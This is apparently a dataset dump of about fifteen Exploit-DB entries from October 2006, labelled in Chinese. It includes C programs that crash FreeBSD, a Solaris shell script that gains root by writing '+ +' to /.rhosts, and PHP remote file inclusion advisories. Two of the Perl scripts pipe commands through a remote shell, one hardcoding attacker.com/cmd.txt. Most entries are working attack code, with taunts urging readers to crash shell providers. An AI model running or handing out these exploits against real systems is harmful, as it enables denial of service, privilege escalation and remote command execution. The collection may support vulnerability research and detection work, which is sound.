QLWD/code_shield huggingface dataset:
标题: FreeBSD 6.1-RELEASE-p10 - 'scheduler' Local Denial of Service EDB-ID: 2542 CVE: 2006-5483 类型: DOS 平台: BSD 发布日期: 2006-10-13 漏洞利用脚本: /* FreeBSD cvs commit: src/sys/posix4/p1003_1b.c davidxu 2006-05-21 00:40:38 UTC
   Log: Don't allow non-root user to set a scheduler policy, otherwise this could be a local DOS.
   lol lol, thatz true. kokanin@gmail lolling it out in '06 !"#%&%(20061013)(="#"! 
   tested on FreeBSD 5.5-RELEASE, 6.0-RELEASE-p5, 6.1-RELEASE, 6.1-RELEASE-p10 (latest at the time of writing)
   wow, that sort of makes this 0day local freebsd denial of service for non-CURRENT or whatever.
   usage: ./run me and wait a moment.. woo, it's friday the 13th, go crash some shell providers.
*/
#include <sched.h>
int main(){
struct sched_param lol; 
lol.sched_priority = sched_get_priority_max(SCHED_FIFO); 
sched_setscheduler(0,SCHED_FIFO,&lol);
for(;;){}
}

// milw0rm.com [2006-10-13] URL: https://www.exploit-db.com/exploits/2542
标题: FreeBSD 6.1-RELEASE-p10 - 'ftruncate' Local Denial of Service EDB-ID: 2541 CVE: 2006-5482 类型: DOS 平台: BSD 发布日期: 2006-10-13 漏洞利用脚本: /* FreeBSD cvs commit: src/sys/ufs/ufs/ufs_vnops.c maxim 2006-05-31 13:15:29 UTC
   Log: According to POSIX, the result of ftruncate(2) is unspecified
   for file types other than VREG, VDIR and shared memory objects.
   We already handle VREG, VLNK and VDIR cases.  Silently ignore
   truncate requests for all the rest. PR kern/98064

   lol lol, thatz true. kokanin@gmail lolling it out in '06 !"#%&%(20061013)(="#"!
   tested on FreeBSD 6.0-RELEASE-p5, 6.1-RELEASE-p10 (latest at the time of writing)
   - it just makes the system reboot, and with a bit of luck fucks up the filesystem.
   wow, that sort of makes this 0day local freebsd denial of service for non-CURRENT or whatever.
   usage: ./run me and wait a moment.. woo, it's friday the 13th, go crash some shell providers.
   
*/

#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

int main(){
mkfifo("lol",0x1b6);
int fd = open("lol",O_RDWR); 
ftruncate(fd,12345);
close(fd);
}

// milw0rm.com [2006-10-13] URL: https://www.exploit-db.com/exploits/2541
标题: Genepi 1.6 - 'genepi.php' Remote File Inclusion EDB-ID: 2539 CVE: 2006-6632 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-13 漏洞利用脚本: ---------------------------------------------------------------------------
Genepi <= 1.6 [topdir] Remote File Include Vulnerability
---------------------------------------------------------------------------


Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RST-CREW.net :
Remote : Yes
Critical Level : Dangerous
---------------------------------------------------------------------------

Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : Genepi
version : 1.6
URL : anonymous@cvs.savannah.nongnu.org:/cvsroot/genepi genepi
------------------------------------------------------------------

Vurnerable CoDE:
~~~~~~~~~~~~~~~~~~~~~~~~~~

$libdir = $topdir . 'lib/';

//blablabla.....

//Including Genepi libs
//Base classes
include ($libdir . 'GenepiObject.php');
include ($libdir . 'parser.php');
include ($libdir . 'GenepiException.php');
include ($libdir . 'Dtd.php');

Exploit:
~~~~
Variable $topdir not sanitized.When register_globals=on an attacker ca
n exploit this vulnerability with a simple php injection script.

# http://www.site.com/[path]/genepi.php?topdir=[Evil_Script]
---------------------------------------------------------------------------

Shoutz:
~~

# Greetz to [Oo], str0ke, th0r, RST TEAM: [ !_30, darkking, DarkWizzard, Elias, Icarius, MiniDisc, Nemessis, Shocker, SpiridusuCaddy and sysghost !]
# To all members of #h4cky0u and RST [ hTTp://RST-CREW.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RST-CREW.NET
__/*

# milw0rm.com [2006-10-13] URL: https://www.exploit-db.com/exploits/2539
标题: Redaction System 1.0 - 'lang_prefix' Remote File Inclusion EDB-ID: 2534 CVE: 2006-5302 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-12 漏洞利用脚本: #!/usr/bin/perl

use LWP::UserAgent;

$target = @ARGV[0];
$shellsite = @ARGV[1];
$shellcmd = @ARGV[2];
$fileno = @ARGV[3];

if(!$target || !$shellsite)
{
    usage();
}

header();

if ($fileno eq 1)
{
    $file = " conn.php?lang_prefix=";
}
elsif ($fileno eq 2)
{
    $file = "index.php?lang=";
}
elsif ($fileno eq 3)
{
    $file = "sesscheck.php?lang_prefix=";
}
elsif ($fileno eq 4)
{
    $file = "wap/conn.php?lang_prefix=";
}
elsif ($fileno eq 5)
{
    $file = "wap/sesscheck.php?lang_prefix=";
}
else
{
    $file = "conn.php?lang_prefix=";
}

while()
{
    print "[cmd]\$";
    while (<STDIN>)
    {
        $cmd = $_;
        chomp($cmd);
print $target.'/'.$file.'='.$shellsite.'?&'.$shellcmd.'='.$cmd;
        $xpl = LWP::UserAgent->new() or die;
        $req = HTTP::Request->new(GET=>$target.'/'.$file.'='.$shellsite.'?&'.$shellcmd.'='.$cmd) or die("\n\n Failed to connect.");
        $res = $xpl->request($req);
        $rp = $res->content;
        $rp =~ tr/[\n]/[&#234;]/;
print $rp;
        if (!cmd)
        {
            print "\nEnter command: \n";
            $rp = "";
        }
        elsif ($rp=~/failed to open stream: HTTP request failed!/ || $rp=~/: Cannot execute a blank command in <b>/)
        {
            print "\nUnable to connect to Shellsite, or invalid command variable\n";
            exit;
        }
        elsif ($rp=~/^<br.\/>.<b>Warning/)
        {
            print "\nInvalid Command\n\n";
            exit;
        }
       
        if ($rp=~ /(.+)<br.\/>.<b>Warning.(.+)<br.\/>.<b>Warning/)
        {
            $final = $1;
            $final=~ tr/[&#234;]/[\n]/;
            print "\n$final\n";
        }
        else
        {
            print "[cmd]\$ ";
        }
    }
}

sub header()
{
    print q
    {
######################################################################
       Redaction System 1.0000 - Remote Include Exploit
        Vulnerability discovered and exploit by r0ut3r
               writ3r@gmail.com
          Special thanks to Warpboy's perl tutorial
             http://milw0rm.com/papers/85
######################################################################
    };
}

sub usage()
{
header();
    print q
    {
######################################################################
Usage:
perl rs_xpl.pl <Target website> <Shell Location> <CMD Variable> <No>
<Target Website> - Path to target eg: www.rsvuln.target.com
<Shell Location> - Path to shell eg: www.badserver.com/s.txt
<CMD Variable> - Shell command variable name eg: cmd
<No> - File number, corresponding to:
1: conn.php
2: index.php
3: sesscheck.php
4: wap/conn.php
5: wap/sesscheck.php
######################################################################
    };
exit();
}

# milw0rm.com [2006-10-12] URL: https://www.exploit-db.com/exploits/2534
标题: Solaris 10 libnspr - 'LD_PRELOAD' Arbitrary File Creation Privilege Escalation (1) EDB-ID: 2543 CVE: 2006-4842 类型: LOCAL 平台: SOLARIS 发布日期: 2006-10-13 漏洞利用脚本: #!/bin/sh

#
# $Id: raptor_libnspr,v 1.1 2006/10/13 19:12:12 raptor Exp $
#
# raptor_libnspr - Solaris 10 libnspr oldschool local root
# Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# Local exploitation of a design error vulnerability in version 4.6.1 of
# NSPR, as included with Sun Microsystems Solaris 10, allows attackers to
# create or overwrite arbitrary files on the system. The problem exists 
# because environment variables are used to create log files. Even when the
# program is setuid, users can specify a log file that will be created with 
# elevated privileges (CVE-2006-4842).
#
# Usage:
# $ chmod +x raptor_libnspr
# $ ./raptor_libnspr
# [...]
# # id
# uid=0(root) gid=0(root)
# # 
#
# Vulnerable platforms (SPARC):
# Solaris 10 without patch 119213-10 [tested]
# 
# Vulnerable platforms (x86):
# Solaris 10 without patch 119214-10 [untested]
#

echo "raptor_libnspr - Solaris 10 libnspr oldschool local root"
echo "Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"
echo

# prepare the environment
NSPR_LOG_MODULES=all:5
NSPR_LOG_FILE=/.rhosts
export NSPR_LOG_MODULES NSPR_LOG_FILE

# gimme rw-rw-rw!
umask 0

# setuid program linked to /usr/lib/mps/libnspr4.so
/usr/bin/chkey

# other good setuid targets
#/usr/bin/passwd
#/usr/bin/lp
#/usr/bin/cancel
#/usr/bin/lpset
#/usr/bin/lpstat
#/usr/lib/lp/bin/netpr
#/usr/lib/sendmail
#/usr/sbin/lpmove
#/usr/bin/login
#/usr/bin/su
#/usr/bin/mailq

# oldschool rhosts foo;)
echo "+ +" > $NSPR_LOG_FILE
rsh -l root localhost sh -i

# milw0rm.com [2006-10-13] URL: https://www.exploit-db.com/exploits/2543
标题: PHPMyConferences 8.0.2 - 'menu.inc.php' File Inclusion EDB-ID: 2535 CVE: 2006-5310 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-13 漏洞利用脚本: #########################################################################
# phpMyConferences <= 8.0.2 Remote File Inclusion
# Download Source : http://sedre.loria.fr/phpMyConference/phpMyConferences_8.0.2.zip
#
# Found By        : k1tk4t - k1tk4t[4t]newhack.org
# Location        : Indonesia   --  #newhack[dot]org
########################################################################
file ;
 menus.inc.php
########################################################################
bugs ;
 include($lvc_include_dir.'/menus-'.$view.'.inc.php');
 include($lvc_include_dir.'/menus-others.inc.php');
########################################################################
exmple and methode exploit ;
 http://localhost/phpMyConferences_8.0.2/common/visiteurs/include/menus.inc.php?lvc_include_dir=http://shell/cmd.kid?
########################################################################
Thanks;
str0ke
milw0rm
google
#e-c-h-o (all member echo community)
#nyubi (all member solpotcrew community)
#asiahacker
person;
y3dips,lirva32,the_day,K-159(&all echo staff)
evilcode,illibero,NoGe(asiahacker),
nyubi,x-ace,ghoz,home_edition2001,matdhule,iFX,and for all(friend's&enemy)

# milw0rm.com [2006-10-13] URL: https://www.exploit-db.com/exploits/2535
标题: phpBB Import Tools Mod 0.1.4 - Remote File Inclusion EDB-ID: 2531 CVE: 2006-7147 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-12 漏洞利用脚本: #
# *
# * Title: phpBB Import Tools Mod <= 0.1.4 (phpbb_root_path) Remote File Inclusion
# * Author/Discovery: boecke
# * Vulnerability Type: Remote File Inclusion
# * Risk: High Risk
# * Software Affected: phpBB Import Tools Mod <= 0.1.4
# *
# * Literally shouts to: str0ke and henrik
# * Don't promote Google-ism!
# *
#

[ Vulnerable Code: ]
include_once($phpbb_root_path . 'includes/functions_validate.' . $phpEx);
include_once($phpbb_root_path . 'includes/functions_post.' . $phpEx);
include_once($phpbb_root_path . 'includes/bbcode.' . $phpEx);

[ Fix: ]
Correctly sanitize these variables before their use or deny direct access to the script.

[ Proof of Concept: ]
http://localhost/phpBB2/includes/functions_mod_user.php?phpbb_root_path=

# milw0rm.com [2006-10-12] URL: https://www.exploit-db.com/exploits/2531
标题: phpBB SpamBlocker Mod 1.0.2 - Remote File Inclusion EDB-ID: 2533 CVE: 2006-5301 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-12 漏洞利用脚本: #!/usr/bin/perl
 
################################################################################
#                                                                              #
# SpamBlockerMod package for phpBB                                             #
#                                                                              #
# Class:   Remote File Include Vulnerability                                   #
#                                                                              #
# Patch:   unavailable                                                         #
#                                                                              #
# Date:    2006/10/12                                                          #
#                                                                              #
# Remote:  Yes                                                                 #
#                                                                              #
# Type:    high                                                                #
#                                                                              #
# Site:    http://leo.vak.ru/devel/spamblocker/spamblockermodv1.0.2.zip        #
#                                                                              #
################################################################################


use IO::Socket;
use LWP::Simple;

$cmdshell="http://attacker.com/cmd.txt";   # <====== Change This Line With Your Personal Script

print "\n";
print "######################################################################\n";
print "#                                                                    #\n";
print "# SpamBlockerMODv  <= 1.0.2     Remote File Include Vulnerability    #\n";
print "# Bug found By : Ashiyane Corporation                                #\n";
print "# Email: nima salehi    nima[at]ashiyane.ir                          #\n";
print "# Web Site : www.Ashiyane.ir                                         #\n";
print "#                                                                    #\n";
print "######################################################################\n";


if (@ARGV < 2)
{
    print "\n Usage: Ashiyane.pl [host] [path] ";
    print "\n EX : Ashiyane.pl www.victim.com /phpbb/  \n\n";
exit;
}


$host=$ARGV[0];
$path=$ARGV[1];
$vul="root/includes/antispam.php?phpbb_root_path="

print "Type Your Commands ( uname -a )\n";
print "For Exiit Type END\n";

print "<Shell> ";$cmd = <STDIN>;

while($cmd !~ "END") {
    $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "Could not connect to host.\n\n";

    print $socket "GET ".$path.$vul.$cmdshell."?cmd=".$cmd."? HTTP/1.1\r\n";
    print $socket "Host: ".$host."\r\n";
    print $socket "Accept: */*\r\n";
    print $socket "Connection: close\r\n\n";

    while ($raspuns = <$socket>)
    {
        print $raspuns;
    }

    print "<Shell> ";
    $cmd = <STDIN>;
}

# milw0rm.com [2006-10-12] URL: https://www.exploit-db.com/exploits/2533
标题: Cdsagenda 4.2.9 - 'SendAlertEmail.php' File Inclusion EDB-ID: 2540 CVE: 2006-5384 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-13 漏洞利用脚本: ###### ToXiC #########################
#
#  Cdsagenda 4.2.9 Remote File Inclusion by ToXiC CreW
#
#         ToXic Security Italian CreW
#            BuG FounD by Drago84
#
# Application Affect:
#                             Cdsagenda 4.2.9
#
#
#  Sorce Code:
#             http://cdsware.cern.ch/cdsagenda/download/cdsagenda-4.2.9.tar.gz
#
#
# Page:
#         SendAlertEmail.php
#
# Dir :
#      /cdsagenda-4.2.9/htdocs/modification/
#
#
# Problem:
#         require_once "$AGE/AgeDB.php";
#
#
#
# ExPloit :
#   http://www.site.com/cdsagenda/modification/SendAlertEmail.php?AGE=http://sonic-banda-di-lamer.gay/shell.php?
#
#
#
#       
# GrEatZ All Member of ToXiC, Str0ke
#
#
# FUCK #Sonic
#
###### ToXiC #########

# milw0rm.com [2006-10-13] URL: https://www.exploit-db.com/exploits/2540
标题: Open Conference Systems 1.1.4 - 'fullpath' File Inclusion EDB-ID: 2536 CVE: 2006-5308 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-13 漏洞利用脚本: #########################################################################
# Open Conference Systems <= 1.1.3 Remote File Inclusion
# Download Source : http://pkp.sfu.ca/ocs/download/ocs-1.1.3.tar.gz
#
# Found By        : k1tk4t - k1tk4t[4t]newhack.org
# Location        : Indonesia   --  #newhack[dot]org
########################################################################
file ;
  theme.inc.php
  footer.inc.php
########################################################################
bugs ;
at -- theme.inc.php
 include($fullpath."themes/$theme/theme.inc.php");
at -- footer.inc.php
 include_once($fullpath."include/theme.inc.php");
########################################################################
exmple and methode exploit ;
 http://localhost/ocs/include/theme.inc.php?fullpath=http://shell/cmd.gif?
 http://localhost/ocs/include/footer.inc.php?fullpath=http://shell/cmd.gif?
########################################################################
Thanks;
str0ke
milw0rm
google
#e-c-h-o (all member echo community)
#nyubicrew (all member solpotcrew community)
#asiahacker
person;
y3dips,lirva32,the_day,K-159(&all echo staff)
evilcode,illibero,NoGe(asiahacker),
nyubi,x-ace,ghoz,home_edition2001,matdhule,iFX,and for all(friend's&enemy)

# milw0rm.com [2006-10-13] URL: https://www.exploit-db.com/exploits/2536
标题: phpBB Ajax Shoutbox 0.0.5 - Remote File Inclusion EDB-ID: 2532 CVE: 2006-5312 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-12 漏洞利用脚本: #
# *
# * Title: phpBB Ajax Shoutbox <= 0.0.5 (phpbb_root_path) Remote File Inclusion
# * Author/Discovery: boecke
# * Vulnerability Type: Remote File Inclusion
# * Risk: High Risk
# * Software Affected: phpBB Ajax Shoutbox <= 0.0.5
# * Release Source: http://usuarios.lycos.es/kinfule/download.php?id=16
# * Release Page @ phpBB.com : http://www.phpbb.com/phpBB/viewtopic.php?t=389032
# *
# * Literally shouts to: str0ke and henrik
# * Don't promote Google-ism!
# *
#

[ Vulnerable Code: ]
$phpbb_root_path = ( !@$phpbb_root_path ) ? './' : $phpbb_root_path;
require_once($phpbb_root_path . 'extension.inc');
require_once($phpbb_root_path . 'common.'.$phpEx);

[ Proof on Concept: ]
http://localhost/phpBB2/shoutbox.php?phpbb_root_path=

# milw0rm.com [2006-10-12] URL: https://www.exploit-db.com/exploits/2532
标题: AFGB Guestbook 2.2 - 'Htmls' Remote File Inclusion EDB-ID: 2529 CVE: 2006-5307 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-12 漏洞利用脚本: #        afgb GUESTBOOK V2.2                           #
#      Htmls Remote File Include Vulnerability         #
#                       Turkish Hacker's               #
#       Discovered By : mdX                            #
#                                                      #
#------------------------------------------------------
#               Cyber-Warrior TIM                      #
#         Ay ve  YIldIzlar Geceye YakISIr...           #
#        the moon and the stars suit the night         #
########################################################
#
# Class : REmote
########################################################
#             File Code Detailed
#File :add.php?,admin.php?,look.php?,re.php
#
#Code :
#
#include "$Htmls";
########################################################
#
#
# Exploit : http://www.target.***/[path]/add.php?Htmls=http://shell.txt?
# Exploit : http://www.target.***/[path]/admin.php?Htmls=http://shell.txt?
# Exploit : http://www.target.***/[path]/look.php?Htmls=http://shell.txt?
# Exploit : http://www.target.***/[path]/re.php?Htmls=http://shell.txt?
########################################################
#                         _ThankX_
#
#
#
#Cyber-warrior User ,PROHACK, Siber-korsanlar [redx, dipsomania, k.z.l_alev]
#Shika, xoron , real_dark_boy, All Friends
########################################################

download link :http://www.afgb.to/ 

# milw0rm.com [2006-10-12] URL: https://www.exploit-db.com/exploits/2529
标题: MiniBB keyword_replacer 1.0 - 'pathToFiles' File Inclusion EDB-ID: 2528 CVE: 2006-7156 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-12 漏洞利用脚本: ---------------------------------------------------------------------------
miniBB keyword_replacer <= 1.0 [pathToFiles] Remote File Include Vulnerability
---------------------------------------------------------------------------


Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RST-CREW.net :
Remote : Yes
Critical Level : Dangerous
---------------------------------------------------------------------------

Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : miniBB keyword_replacer
version : 1.0
URL : http://www.minibb.net/forums/storage/mods/minibb_plugin_keyword_replacer.zip
------------------------------------------------------------------

Vurnerable CoDE:
~~~~~~~~~~~~~~~~~~~~~~~~~~

if(!isset($pathToFiles)) include('./setup_options.php');
include($pathToFiles.'/keywords/keywords.php');

Exploit:
~~~~
Variable $pathToFiles not sanitized.When register_globals=on an attacker ca
n exploit this vulnerability with a simple php injection script.

# http://www.site.com/[path]/addon_keywordreplacer.php?pathToFiles=[Evil_Script]
---------------------------------------------------------------------------

Shoutz:
~~

# Greetz to [Oo], str0ke, th0r, RST TEAM: [ !_30, darkking, DarkWizzard, Elias, Icarius, MiniDisc, Nemessis, Shocker, SpiridusuCaddy and sysghost !]
# To all members of #h4cky0u and RST [ hTTp://RST-CREW.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RST-CREW.NET
__/*

# milw0rm.com [2006-10-12] URL: https://www.exploit-db.com/exploits/2528
标题: PHPht Topsites - 'common.php' Remote File Inclusion EDB-ID: 2526 CVE: 2006-5458 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-12 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

phpht Topsites (phpht_real_path) Remote File Include Vulnerability

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Author: xoron

www.xoron.biz - www.xoron.info

Ne mutlu Türküm Diyene..!

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

URL:
http://www.linkini.net/phpscripts/descargas/Top%20Sites%20(8%20Archivos)/PHPht%20Topsites.zip

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

CODE:


include($phpht_real_path . 'config.'.$phpEx);
include($phpht_real_path . 'includes/db.'.$phpEx);
include($phpht_real_path . 'includes/Template.'.$phpEx);
include($phpht_real_path . 'language/lang_english/lang_main.'.$phpEx);


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Exploit:

http://www.hedef.com/[script_path]/common.php?phpht_real_path=http://sh3LL?

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Thanx: chaos, nukedx, OG, Preddy, Ironfist, SHiKaA, ERNE :)
Special: Str0ke

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2006-10-12] URL: https://www.exploit-db.com/exploits/2526
标题: FreeBSD 5.4/6.0 - 'ptrace PT_LWPINFO' Local Denial of Service EDB-ID: 2524 CVE: 2006-4516 类型: DOS 平台: BSD 发布日期: 2006-10-12 漏洞利用脚本: #include <sys/types.h>
#include <sys/ptrace.h>
#include <unistd.h>
/* lol lol, exploit for http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=419
thank you oh unknown, sincerely kokanin@gmail. usage: ./blah <pid you own> */

int main(int argc, char *argv[]){
 struct ptrace_lwpinfo *lol;
 ptrace(PT_ATTACH,atoi(argv[1]),NULL,0);
 wait(NULL);
 ptrace(PT_LWPINFO,atoi(argv[1]),(void *)&lol,32768);
}

// milw0rm.com [2006-10-12] URL: https://www.exploit-db.com/exploits/2524